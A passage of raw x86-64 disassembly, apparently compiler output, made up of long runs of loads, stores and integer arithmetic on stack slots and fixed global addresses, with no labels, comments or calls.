mov qword [rsp + 0x57b0], rax
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x928], ax
mov rax, qword [rsp + 0x5520]
movzx eax, byte [rax]
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x5360]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x5038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a74]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5530]
mov dword [rcx], eax
lea rax, [rsp + 0x5210]
mov qword [rsp + 0x57b8], rax
mov rax, qword [rsp + 0x5680]
mov rcx, qword [rsp + 0x53e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x9a4]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178ea8], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x57c0], rax
movsx eax, word [rsp + 0x998]
movsx ecx, word [rsp + 0x868]
sub eax, ecx
mov word [rsp + 0x960], ax
movzx eax, byte [0x14017a052]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x53a0]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x5348]
mov qword [rsp + 0x57c8], rax
mov eax, dword [rsp + 0x2aa4]
movzx ecx, al
mov eax, dword [rsp + 0x2b04]
shl eax, cl
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x5600]
mov rcx, qword [rsp + 0x4aa0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56b8]
mov qword [rcx], rax
lea rax, [0x140178eb4]
mov qword [0x14017a1d8], rax
mov rax, qword [rsp + 0x5568]
movzx eax, byte [rax]
mov byte [rsp + 0x9e], al
movzx eax, word [rsp + 0x898]
movzx ecx, word [rsp + 0x904]
xor eax, ecx
mov rcx, qword [rsp + 0x5660]
mov word [rcx], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x57d0], rax
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
sar eax, cl
mov rcx, qword [rsp + 0x5478]
mov word [rcx], ax
mov rax, qword [rsp + 0x55d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28bc], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x57d8], rax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x5360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5348], rax
lea rax, [rsp + 0x2ae4]
mov qword [rsp + 0x57e0], rax
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e93], al
movsx eax, word [rsp + 0x8a4]
mov rcx, qword [rsp + 0x4d98]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
lea rax, [rsp + 0x88c]
mov qword [rsp + 0x57e8], rax
movzx eax, word [rsp + 0x91c]
mov rcx, qword [rsp + 0x51a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0x53b8]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ac0], eax
lea rax, [rsp + 0x4f78]
mov qword [rsp + 0x57f8], rax
mov rax, qword [rsp + 0x5290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x51f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x5700]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178e9c], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x5800], rax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
shl eax, cl
mov rcx, qword [rsp + 0x5568]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e08]
movzx eax, word [rax]
mov word [rsp + 0x9b0], ax
mov rax, qword [rsp + 0x5038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a38]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x52d8]
mov rcx, qword [0x140178e78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
lea rax, [rsp + 0x53b0]
mov qword [rsp + 0x5808], rax
mov eax, dword [rsp + 0x28ac]
mov rcx, qword [rsp + 0x53e0]
mov qword [rsp + 0x5810], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5810]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x51f8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x918]
mov rcx, qword [rsp + 0x54f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a120]
mov word [rcx], ax
lea rax, [rsp + 0x9e]
mov qword [rsp + 0x5818], rax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a178]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x51]
mov qword [rsp + 0x5820], rax
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x55d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5500]
mov qword [rcx], rax
lea rax, [rsp + 0x2a50]
mov qword [rsp + 0x5828], rax
mov rax, qword [rsp + 0x4fe8]
mov rcx, qword [rsp + 0x5628]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5720], rax
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x2b2c], eax
lea rax, [0x140178eac]
mov qword [0x14017a1e0], rax
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0x8a], al
movsx eax, word [rsp + 0x87c]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8dc], ax
lea rax, [0x140178e6b]
mov qword [rsp + 0x5830], rax
mov rax, qword [rsp + 0x5670]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
lea rax, [rsp + 0x57c8]
mov qword [rsp + 0x5838], rax
mov rax, qword [rsp + 0x4dc8]
mov ecx, dword [rsp + 0x29dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x57e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a64]
mov ecx, dword [rsp + 0x2a38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x55b0]
mov qword [rsp + 0x5840], rax
lea rax, [rsp + 0x82]
mov qword [0x14017a1e8], rax
movzx eax, word [rsp + 0x8c4]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
mov word [rsp + 0x9b4], ax
movsx eax, word [rsp + 0x874]
movsx ecx, word [rsp + 0x8f4]
sar eax, cl
mov word [rsp + 0x948], ax
movsx eax, byte [rsp + 0x5c]
movsx ecx, byte [rsp + 0x66]
shl eax, cl
mov rcx, qword [rsp + 0x53c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2aac]
mov dword [rsp + 0x2b30], eax
mov rax, qword [rsp + 0x5320]
mov rcx, qword [rsp + 0x5008]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f40], rax
lea rax, [rsp + 0x5778]
mov qword [rsp + 0x5848], rax
mov rax, qword [rsp + 0x57e0]
mov ecx, dword [rsp + 0x2b28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ae4], eax
mov rax, qword [rsp + 0x50e0]
movzx eax, word [rax]
mov word [rsp + 0x9b8], ax
movzx eax, word [rsp + 0x878]
movzx ecx, word [rsp + 0x890]
sub eax, ecx
mov word [0x140178e9c], ax
mov rax, qword [rsp + 0x5390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x85]
sub eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0x57], al
movzx eax, word [rsp + 0x980]
mov word [rsp + 0x9bc], ax
mov rax, qword [rsp + 0x4f20]
mov ecx, dword [rsp + 0x2adc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2aa8], eax
lea rax, [0x14017a058]
mov qword [rsp + 0x5850], rax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x5210]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5510]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x29dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae4], eax
movzx eax, word [rsp + 0x890]
mov word [rsp + 0x9c0], ax
movsx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140178e5d], al
movsx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0x5818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x55e8]
movzx eax, word [rax]
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9a4], ax
mov rax, qword [rsp + 0x5730]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a60]
sar eax, cl
mov rcx, qword [rsp + 0x4b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x55b0]
mov qword [rsp + 0x5858], rax
mov eax, dword [rsp + 0x2acc]
mov ecx, dword [rsp + 0x28bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b08], eax
lea rax, [rsp + 0x5348]
mov qword [rsp + 0x5860], rax
mov rax, qword [0x14017a108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0x5070]
movzx eax, byte [rax]
mov byte [0x14017a0ca], al
movzx eax, byte [rsp + 0x86]
movzx ecx, byte [rsp + 0x7d]
add eax, ecx
mov byte [rsp + 0x72], al
movzx eax, word [0x140178ec4]
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x4df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ec0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x57d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x52a0]
mov rcx, qword [rsp + 0x4f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0x50f8]
mov eax, dword [rax]
mov dword [rsp + 0x2b38], eax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [rsp + 0x4ed8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov byte [rsp + 0x6b], al
movsx eax, byte [rsp + 0x52]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a057], al
lea rax, [rsp + 0x87c]
mov qword [rsp + 0x5868], rax
movzx eax, word [rsp + 0x904]
movzx ecx, word [rsp + 0x928]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x5870], rax
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x50e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8e8], ax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5368]
mov dword [rcx], eax
mov rax, qword [rsp + 0x54c0]
mov rax, qword [rax]
mov qword [rsp + 0x5878], rax
mov rax, qword [rsp + 0x5410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov dword [rsp + 0x2b3c], eax
lea rax, [rsp + 0x8ec]
mov qword [0x14017a1f0], rax
mov rax, qword [rsp + 0x5698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
shl eax, cl
mov byte [rsp + 0x7f], al
movsx eax, byte [rsp + 0x7e]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5830]
mov byte [rcx], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x5880], rax
movsx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x5620]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5e], al
lea rax, [0x140178e60]
mov qword [rsp + 0x5888], rax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5338], rax
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
mov dword [rsp + 0x2b40], eax
mov eax, dword [rsp + 0x2a58]
mov ecx, dword [rsp + 0x2aa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x96c]
add eax, ecx
mov word [0x140178ec8], ax
movzx eax, byte [rsp + 0x8f]
movzx ecx, byte [rsp + 0x5b]
and eax, ecx
mov rcx, qword [rsp + 0x5468]
mov byte [rcx], al
mov rax, qword [0x14017a068]
movzx eax, word [rax]
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5248]
mov byte [rcx], al
mov rax, qword [rsp + 0x5568]
movzx eax, byte [rax]
mov byte [rsp + 0x9f], al
mov eax, dword [rsp + 0x2b24]
mov ecx, dword [0x140178e6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x57b8]
mov rcx, qword [rsp + 0x5720]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x51d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
mov qword [rsp + 0x5890], rax
mov eax, dword [rsp + 0x2b3c]
mov ecx, dword [0x140178e8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178eb4], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0x5898], rax
movzx eax, word [rsp + 0x8ec]
movzx ecx, word [rsp + 0x884]
add eax, ecx
mov rcx, qword [rsp + 0x51a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8bc]
movzx ecx, word [rsp + 0x86c]
add eax, ecx
mov word [rsp + 0x8b8], ax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5338], rax
mov rax, qword [rsp + 0x4ed8]
mov qword [rsp + 0x58a0], rax
mov rax, qword [rsp + 0x52e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5580]
mov qword [rsp + 0x58a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x58a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5408]
mov ecx, dword [rsp + 0x2b20]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x53d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x73]
movzx ecx, byte [rsp + 0x63]
sar eax, cl
mov byte [0x140178e96], al
mov rax, qword [0x14017a098]
movzx eax, word [rax]
mov word [rsp + 0x9d0], ax
mov rax, qword [rsp + 0x50a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e70]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x904], ax
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a0a8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x52d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5178]
mov qword [rsp + 0x58b0], rax
mov rax, qword [rsp + 0x5888]
mov rcx, qword [rsp + 0x51d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5708]
mov qword [rcx], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2a9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5618]
mov eax, dword [rax]
mov dword [rsp + 0x2b44], eax
mov rax, qword [rsp + 0x56d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x998]
and eax, ecx
mov word [0x140178eb4], ax
mov rax, qword [rsp + 0x5608]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67]
sub eax, ecx
mov byte [rsp + 0x7d], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58b8], rax
mov rax, qword [rsp + 0x5690]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov rcx, qword [rsp + 0x54d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x58c0], rax
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [rsp + 0x2ac0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2acc], eax
lea rax, [rsp + 0x5778]
mov qword [rsp + 0x58c8], rax
mov rax, qword [rsp + 0x5420]
mov rcx, qword [rsp + 0x5678]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x50a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8cc]
or eax, ecx
mov rcx, qword [0x14017a0d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x5488]
movzx eax, byte [rax]
mov byte [rsp + 0xa2], al
movsx eax, word [rsp + 0x88c]
movsx ecx, word [rsp + 0x944]
sar eax, cl
mov word [rsp + 0x8a4], ax
lea rax, [0x14017a0e0]
mov qword [rsp + 0x58d0], rax
mov rax, qword [rsp + 0x50c8]
mov rcx, qword [rsp + 0x51c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4ea8]
mov qword [rsp + 0x58d8], rax
mov rax, qword [rsp + 0x5330]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a44], eax
mov eax, dword [rsp + 0x2aec]
mov ecx, dword [rsp + 0x2aac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50d0]
mov dword [rcx], eax
lea rax, [rsp + 0x8c8]
mov qword [0x14017a1f8], rax
movzx eax, word [rsp + 0x9c0]
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
lea rax, [rsp + 0x92]
mov qword [rsp + 0x58e0], rax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [0x140178e76]
sub eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a68], eax
mov rax, qword [rsp + 0x5458]
mov qword [rsp + 0x58e8], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x4f78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fa0], rax
lea rax, [rsp + 0x2b34]
mov qword [rsp + 0x58f0], rax
movsx eax, word [rsp + 0x920]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b4], ax
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x984]
add eax, ecx
mov word [0x14017a0c8], ax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
mov byte [rsp + 0xa3], al
movzx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x5780]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x928], ax
lea rax, [rsp + 0x52f8]
mov qword [rsp + 0x58f8], rax
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5180]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5328]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x57e0]
mov qword [rsp + 0x5900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5900]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ad0], eax
mov eax, dword [rsp + 0x2a4c]
mov dword [rsp + 0x2b48], eax
mov rax, qword [rsp + 0x5620]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
sar eax, cl
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x5048]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x974]
xor eax, ecx
mov word [0x140178ecc], ax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
mov byte [rsp + 0xa4], al
movsx eax, byte [rsp + 0x9b]
mov rcx, qword [0x14017a070]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x9bc]
mov qword [rsp + 0x5908], rax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fe8]
mov qword [rcx], rax
mov rax, qword [0x14017a058]
mov rcx, qword [rsp + 0x5450]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5768]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b40]
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x50d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5038]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5a]
mov byte [rsp + 0xa5], al
movzx eax, word [rsp + 0x864]
mov word [0x14017a200], ax
movzx eax, byte [rsp + 0x67]
mov rcx, qword [rsp + 0x54b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83], al
movsx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0x5690]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0x5828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
mov eax, dword [rsp + 0x2b08]
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x51c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5858]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5420]
mov qword [rcx], rax
lea rax, [rsp + 0x870]
mov qword [rsp + 0x5910], rax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x57]
sub eax, ecx
mov rcx, qword [0x14017a1e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x52d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
sar eax, cl
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x954]
mov qword [rsp + 0x5918], rax
mov rax, qword [0x14017a178]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8d]
or eax, ecx
mov rcx, qword [rsp + 0x5010]
mov byte [rcx], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x5348]
mov qword [rsp + 0x5920], rax
mov rax, qword [rsp + 0x5510]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5180], rax
mov rax, qword [rsp + 0x5738]
mov eax, dword [rax]
mov dword [rsp + 0x2b54], eax
mov rax, qword [rsp + 0x5200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x4e18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178ed0], ax
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x91c]
add eax, ecx
mov word [rsp + 0x93c], ax
movsx eax, word [rsp + 0x900]
movsx ecx, word [rsp + 0x8e8]
sub eax, ecx
mov rcx, qword [rsp + 0x5090]
mov word [rcx], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x5928], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2ab4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4b88]
mov qword [rsp + 0x5930], rax
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58a0]
mov rcx, qword [rsp + 0x5858]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x57b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x914]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140178e88], ax
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [0x14017a200]
sub eax, ecx
mov word [rsp + 0x97c], ax
mov rax, qword [rsp + 0x56d8]
movzx eax, word [rax]
